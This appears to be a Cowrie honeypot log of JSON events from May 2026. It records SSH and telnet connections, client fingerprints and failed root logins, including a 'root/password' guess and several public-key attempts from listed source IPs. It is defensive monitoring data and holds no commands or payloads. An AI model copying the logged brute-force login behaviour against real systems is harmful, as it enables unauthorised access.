{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:25:46.151894Z","src_ip":"94.26.106.148","session":"7450fe522af7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:25:47.241150Z","src_ip":"94.26.106.148","session":"7450fe522af7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.38.1.208","src_port":42102,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ff8250a3e28","protocol":"telnet","message":"New connection: 157.38.1.208:42102 (10.17.0.5:23) [session: 8ff8250a3e28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:26:44.262502Z"}
{"eventid":"cowrie.session.closed","duration":5.889667510986328,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:26:50.152042Z","src_ip":"157.38.1.208","session":"8ff8250a3e28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01315426826477,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:27:06.517084Z","src_ip":"212.55.149.117","session":"d3dc99afffcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":22010,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f98cad6ac7e","protocol":"telnet","message":"New connection: 212.55.149.117:22010 (10.17.0.5:23) [session: 3f98cad6ac7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:27:33.948539Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":20631,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbcefbb2b38c","protocol":"telnet","message":"New connection: 212.55.149.117:20631 (10.17.0.5:23) [session: dbcefbb2b38c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:28:04.697420Z"}
{"eventid":"cowrie.session.closed","duration":58.07381319999695,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:28:32.022249Z","src_ip":"212.55.149.117","session":"3f98cad6ac7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.232.89","src_port":54504,"dst_ip":"10.17.0.5","dst_port":22,"session":"f977be7497b3","protocol":"ssh","message":"New connection: 149.28.232.89:54504 (10.17.0.5:22) [session: f977be7497b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:28:52.256293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:28:52.261764Z","src_ip":"149.28.232.89","session":"f977be7497b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:28:52.270209Z","src_ip":"149.28.232.89","session":"f977be7497b3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:c7:a6:e8:20:b5:43:ef:58:d0:59:83:76:d2:93:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSBl9ojpqUmbJilNWfypzcHdnNVsUcXAgSrrtjYeJv0K1hwJ7g1dFmFQIPsSHY7xc6qLk9BrwdlFoBJzamsl/9bMg9MOLOYGbtxXv+Mh3lEoUDN+9Lh31poDeyCpmOgjbzqb7fJeTziCanTBf4Sr//xrDnxDPfrwzMgafBmYTe5rzzkIIwfdjhZnbYSfouQVM04Hsp4gu+P3wArsT4YUMgOGgvCBJ5jHi9xwMkO3j79k40FZiuwuLlRqug/eMtT0uK6W5FR2+iMqd6tScCYuzOhP2tmCthfZb6z+YzFdX0A+vykodeW3QOCIK3qhWtc4KTSJlULmmF8THzpyUFFHln","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:c7:a6:e8:20:b5:43:ef:58:d0:59:83:76:d2:93:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:28:52.291416Z","src_ip":"149.28.232.89","session":"f977be7497b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:c7:a6:e8:20:b5:43:ef:58:d0:59:83:76:d2:93:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSBl9ojpqUmbJilNWfypzcHdnNVsUcXAgSrrtjYeJv0K1hwJ7g1dFmFQIPsSHY7xc6qLk9BrwdlFoBJzamsl/9bMg9MOLOYGbtxXv+Mh3lEoUDN+9Lh31poDeyCpmOgjbzqb7fJeTziCanTBf4Sr//xrDnxDPfrwzMgafBmYTe5rzzkIIwfdjhZnbYSfouQVM04Hsp4gu+P3wArsT4YUMgOGgvCBJ5jHi9xwMkO3j79k40FZiuwuLlRqug/eMtT0uK6W5FR2+iMqd6tScCYuzOhP2tmCthfZb6z+YzFdX0A+vykodeW3QOCIK3qhWtc4KTSJlULmmF8THzpyUFFHln","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:28:52.295104Z","src_ip":"149.28.232.89","session":"f977be7497b3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:9f:a9:9f:22:52:83:6e:4d:0b:af:e4:02:f4:ab:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkR/53i+RMD9dJ6qazdjsvSNNPu9KLDR6QEpF+2b9HcZ6Fp6YR2AgBantg6JRxbzKDoQ2klLDHHvBUXkhL7ixsoHYnzxSmFTxCk6YwMg4uTtsgDWXeLjGrgS+KOfF1oGdbBgOSsRaZNsz2qvCUaMyajS7ZW6xxLuvw8KZHlp2/m4gKm5bXLHK+HyG4ge8yJ4jDHys3zjqJbzqFNBUjKHrxZaaYEQEyuf/TbRpDea+RsEUL/9oEHoTp4bHR+OaD17PsHYLfKTsJneY7sRdGAR/sBRgxd8oiBlw3jhdQJi3ZY3IM85dBSB0UslEe7dIpPHeiyHoJ9oj1MWqNgr2xw02xfoIdGwOmqGIQ+f7ls3xWF4LA5a4XaOqdPkkHhqrZu1s1icbDs0NjwAm9wFbKbWFPGUZmqVA0sYSP7AVI32pSOZx8pseMb57xHl3w7L3JiJRxrCN0XL84ZkPsAwEBMG2cdBwQGGdO58XzpfPIzTcbwtQiyr1PN4gz/jGhz97PkZ8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:9f:a9:9f:22:52:83:6e:4d:0b:af:e4:02:f4:ab:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:28:52.302970Z","src_ip":"149.28.232.89","session":"f977be7497b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:9f:a9:9f:22:52:83:6e:4d:0b:af:e4:02:f4:ab:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkR/53i+RMD9dJ6qazdjsvSNNPu9KLDR6QEpF+2b9HcZ6Fp6YR2AgBantg6JRxbzKDoQ2klLDHHvBUXkhL7ixsoHYnzxSmFTxCk6YwMg4uTtsgDWXeLjGrgS+KOfF1oGdbBgOSsRaZNsz2qvCUaMyajS7ZW6xxLuvw8KZHlp2/m4gKm5bXLHK+HyG4ge8yJ4jDHys3zjqJbzqFNBUjKHrxZaaYEQEyuf/TbRpDea+RsEUL/9oEHoTp4bHR+OaD17PsHYLfKTsJneY7sRdGAR/sBRgxd8oiBlw3jhdQJi3ZY3IM85dBSB0UslEe7dIpPHeiyHoJ9oj1MWqNgr2xw02xfoIdGwOmqGIQ+f7ls3xWF4LA5a4XaOqdPkkHhqrZu1s1icbDs0NjwAm9wFbKbWFPGUZmqVA0sYSP7AVI32pSOZx8pseMb57xHl3w7L3JiJRxrCN0XL84ZkPsAwEBMG2cdBwQGGdO58XzpfPIzTcbwtQiyr1PN4gz/jGhz97PkZ8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:28:52.306835Z","src_ip":"149.28.232.89","session":"f977be7497b3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:11:da:be:4f:d3:0c:53:1a:ae:d7:10:ad:f9:da:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGf1TQ8Keb5ugVfjo1icIZ7D5TPhVeinTrFIl5hRemISwCnGyHAR+P0CXeO+owKTQ0HQe51iDiIH7MJq+3o8LVsYIJBqXR3T55TRmZOuLRfXveMqBlr0DvMliK7bDE97cqdpmJle8YJCPUzq7QWdnq7YMzkNZXyAJGlCkN/tcKkkyVn+EIYwzfQVIMSfSLylURU7e7wAnO8ecSngAqNmRg85ntF3J8dOO+8mHfOxlBwIuo/UK0QHeqDG4xCf2Kxeaii2IrmqlKZGU7MQdzM4HPzEA6X1nWrx/+oLrSxHXmPlY1X1j02L3YAPr/FJcbf/FlC8WsuhA6EdgmVdXCq6iJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:11:da:be:4f:d3:0c:53:1a:ae:d7:10:ad:f9:da:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:28:52.315058Z","src_ip":"149.28.232.89","session":"f977be7497b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:11:da:be:4f:d3:0c:53:1a:ae:d7:10:ad:f9:da:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGf1TQ8Keb5ugVfjo1icIZ7D5TPhVeinTrFIl5hRemISwCnGyHAR+P0CXeO+owKTQ0HQe51iDiIH7MJq+3o8LVsYIJBqXR3T55TRmZOuLRfXveMqBlr0DvMliK7bDE97cqdpmJle8YJCPUzq7QWdnq7YMzkNZXyAJGlCkN/tcKkkyVn+EIYwzfQVIMSfSLylURU7e7wAnO8ecSngAqNmRg85ntF3J8dOO+8mHfOxlBwIuo/UK0QHeqDG4xCf2Kxeaii2IrmqlKZGU7MQdzM4HPzEA6X1nWrx/+oLrSxHXmPlY1X1j02L3YAPr/FJcbf/FlC8WsuhA6EdgmVdXCq6iJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:28:52.318878Z","src_ip":"149.28.232.89","session":"f977be7497b3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:d1:1d:c7:1e:c9:82:43:fb:44:20:4a:52:33:8e:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbns8VkCKbUcpmrAIaohQEQut5oldM4MtGSt3u597UvVrqO8TIDM3xMxaDcP6hNiB5nMhbDp9Mz4tId/gPqQAj0Q8sll3ySQbUtnWCxlQuLJSB53RQw+FMYAcjhIyGUAik+z9Egn96MpcNk9FjSZgrM0qHKTFf+NR1z3B9v6AAu4A4xck462/2YQ4vvd56wm5eIbW8CrMW4a0U2SncB7j+4P43t8LZZ1y3PBmumJkFtpQnyCi3SCQP+2WxTFRdQunyudH1MiHOyGN6TonUNCmCUpqI6QkUApZukdrVRYmKF0iVwOz28B5Lt9yFn8jRbxmx3BK1WgGHIfy2K+2RqZqr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:d1:1d:c7:1e:c9:82:43:fb:44:20:4a:52:33:8e:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:28:52.328760Z","src_ip":"149.28.232.89","session":"f977be7497b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:d1:1d:c7:1e:c9:82:43:fb:44:20:4a:52:33:8e:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbns8VkCKbUcpmrAIaohQEQut5oldM4MtGSt3u597UvVrqO8TIDM3xMxaDcP6hNiB5nMhbDp9Mz4tId/gPqQAj0Q8sll3ySQbUtnWCxlQuLJSB53RQw+FMYAcjhIyGUAik+z9Egn96MpcNk9FjSZgrM0qHKTFf+NR1z3B9v6AAu4A4xck462/2YQ4vvd56wm5eIbW8CrMW4a0U2SncB7j+4P43t8LZZ1y3PBmumJkFtpQnyCi3SCQP+2WxTFRdQunyudH1MiHOyGN6TonUNCmCUpqI6QkUApZukdrVRYmKF0iVwOz28B5Lt9yFn8jRbxmx3BK1WgGHIfy2K+2RqZqr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:28:52.332072Z","src_ip":"149.28.232.89","session":"f977be7497b3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:e6:f1:69:d0:ec:24:e9:24:07:38:7c:27:0e:a5:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDirrdNVZBC7iFvfeN9zdRqKmqNSBSi85QpQqFIjaBurZJ5Pd4xoIKTmNUEgcrrNiXAvaWMXjDk4Q10SHVOZWZUCkDCgqeTMjRrjTcLLB2B6auOhdiaJZ6hriCLjV+yDgcS8jRaS6hUbfTHx3yFJK7B+jE6gvE9tjs9yrD4MQtdkIflyCxcI/H69jwzjJpkh9ZthWXrYCeDm/ZKfOf9zd9HrTB/hnQ5U4fvdAKoXuD46gtis0icqXNoTdqxagu1YYgLznAJqvnqWMruH45krozHGjA9C2GAspUs7bu5osh0j5FSC+4hQdyPcgut3Uu7AM8eKA24/m7JbWJUk8FsjqKl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:e6:f1:69:d0:ec:24:e9:24:07:38:7c:27:0e:a5:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:28:52.339219Z","src_ip":"149.28.232.89","session":"f977be7497b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:e6:f1:69:d0:ec:24:e9:24:07:38:7c:27:0e:a5:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDirrdNVZBC7iFvfeN9zdRqKmqNSBSi85QpQqFIjaBurZJ5Pd4xoIKTmNUEgcrrNiXAvaWMXjDk4Q10SHVOZWZUCkDCgqeTMjRrjTcLLB2B6auOhdiaJZ6hriCLjV+yDgcS8jRaS6hUbfTHx3yFJK7B+jE6gvE9tjs9yrD4MQtdkIflyCxcI/H69jwzjJpkh9ZthWXrYCeDm/ZKfOf9zd9HrTB/hnQ5U4fvdAKoXuD46gtis0icqXNoTdqxagu1YYgLznAJqvnqWMruH45krozHGjA9C2GAspUs7bu5osh0j5FSC+4hQdyPcgut3Uu7AM8eKA24/m7JbWJUk8FsjqKl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:28:52.342916Z","src_ip":"149.28.232.89","session":"f977be7497b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:28:52.351274Z","src_ip":"149.28.232.89","session":"f977be7497b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0078399181366,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:30:04.705124Z","src_ip":"212.55.149.117","session":"dbcefbb2b38c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.246.87.54","src_port":15932,"dst_ip":"10.17.0.5","dst_port":22,"session":"48511d34db11","protocol":"ssh","message":"New connection: 92.246.87.54:15932 (10.17.0.5:22) [session: 48511d34db11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:30:16.105429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:30:16.113187Z","src_ip":"92.246.87.54","session":"48511d34db11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:30:16.218343Z","src_ip":"92.246.87.54","session":"48511d34db11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:5f:73:f1:66:ec:6a:e4:a3:ee:9f:cc:e2:1b:b9:69","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFfQ1l1GEZyxfZXPFx3v/u9+ywhJOosO1oHadKnZtVVV","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a6:5f:73:f1:66:ec:6a:e4:a3:ee:9f:cc:e2:1b:b9:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:30:16.707812Z","src_ip":"92.246.87.54","session":"48511d34db11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:5f:73:f1:66:ec:6a:e4:a3:ee:9f:cc:e2:1b:b9:69","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFfQ1l1GEZyxfZXPFx3v/u9+ywhJOosO1oHadKnZtVVV","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:30:16.713414Z","src_ip":"92.246.87.54","session":"48511d34db11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:00:16:a7:02:82:e1:f2:30:11:f1:0c:bf:4c:84:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQeKnJ1Hnyfp7AFANHoTXvZzDxF7ayUJ0ytHz3GXmZeyCGQ56TAH+jfP79Jt04J8ugSJezK3w5erM+UaUfuwedjZf5PiDVrzil2SoKbC3yxjiozNt1fAFvZDE9EOtAt+llPp9BC8l8gw241xXlpKu972fQ+YhCbIPtlI2laORjad0n9H3YydeWUAGZp366fvFk2Ti5z2t3gXo2Bpbk3JjC+50lbPJVigwByMF6JusWTFagvByV33L2RjFzS/7sRfgctzXmPWj5Xuh5Dc4F/4K94DOP/NOy33bJfkbn9BLqSC8rqoY0VAipMvzMkBzRN6jT6yYkoR931J4408uMcNJl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:00:16:a7:02:82:e1:f2:30:11:f1:0c:bf:4c:84:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:30:16.819574Z","src_ip":"92.246.87.54","session":"48511d34db11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:00:16:a7:02:82:e1:f2:30:11:f1:0c:bf:4c:84:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQeKnJ1Hnyfp7AFANHoTXvZzDxF7ayUJ0ytHz3GXmZeyCGQ56TAH+jfP79Jt04J8ugSJezK3w5erM+UaUfuwedjZf5PiDVrzil2SoKbC3yxjiozNt1fAFvZDE9EOtAt+llPp9BC8l8gw241xXlpKu972fQ+YhCbIPtlI2laORjad0n9H3YydeWUAGZp366fvFk2Ti5z2t3gXo2Bpbk3JjC+50lbPJVigwByMF6JusWTFagvByV33L2RjFzS/7sRfgctzXmPWj5Xuh5Dc4F/4K94DOP/NOy33bJfkbn9BLqSC8rqoY0VAipMvzMkBzRN6jT6yYkoR931J4408uMcNJl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:30:16.824445Z","src_ip":"92.246.87.54","session":"48511d34db11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:99:6b:84:26:5c:83:09:11:1a:56:f9:aa:5a:d8:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSNhRqcdMO0MLV9l5TBXS9pPYsXkHV62cgHbrTFqUWwNClqHNC7tM1BBYUek/R9JUtv8u60j4L6N2DpzjKsChBVq6EPA6oc6UmYqve5jUtIFrn9qz3lvwxJtRzj5oGJduAIch9xqwr7jJ9CWfaB8C7UsbnszgKBn80B4XLrBd+5UmDHkpDpKb6uqPd5hH/G0KtF/VsSSyDynpzJAEItHEE6VhJIDvN6On16kLXBlWI643vSf7WMN4LLqtO2bj5tDJ6IBbsZzwVE1zjgRrS/1HstrL2/aQk6Y3r4uwhzYRT0mtZznQCgBm55tSoSE2EhbvEF/wI8UD4bmHlMM7inW8xon2DytRjkioi4r/0yZ8N4RbJI7vMPY2yvJ6111eSaQfWyEqb433WN9B2tuefqEhWbQAs1amxU1jwUkQFMYAp9hhERzVHQIHVGQqcWX3j0uvo5CXark5+6aNnA/cOxgen3R7+jPqM8C3y28b2u82xhuRVeIQ7wWj4Bplyd6jGldM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:99:6b:84:26:5c:83:09:11:1a:56:f9:aa:5a:d8:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:30:16.931969Z","src_ip":"92.246.87.54","session":"48511d34db11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:99:6b:84:26:5c:83:09:11:1a:56:f9:aa:5a:d8:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSNhRqcdMO0MLV9l5TBXS9pPYsXkHV62cgHbrTFqUWwNClqHNC7tM1BBYUek/R9JUtv8u60j4L6N2DpzjKsChBVq6EPA6oc6UmYqve5jUtIFrn9qz3lvwxJtRzj5oGJduAIch9xqwr7jJ9CWfaB8C7UsbnszgKBn80B4XLrBd+5UmDHkpDpKb6uqPd5hH/G0KtF/VsSSyDynpzJAEItHEE6VhJIDvN6On16kLXBlWI643vSf7WMN4LLqtO2bj5tDJ6IBbsZzwVE1zjgRrS/1HstrL2/aQk6Y3r4uwhzYRT0mtZznQCgBm55tSoSE2EhbvEF/wI8UD4bmHlMM7inW8xon2DytRjkioi4r/0yZ8N4RbJI7vMPY2yvJ6111eSaQfWyEqb433WN9B2tuefqEhWbQAs1amxU1jwUkQFMYAp9hhERzVHQIHVGQqcWX3j0uvo5CXark5+6aNnA/cOxgen3R7+jPqM8C3y28b2u82xhuRVeIQ7wWj4Bplyd6jGldM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:30:16.938224Z","src_ip":"92.246.87.54","session":"48511d34db11","protocol":"ssh"}
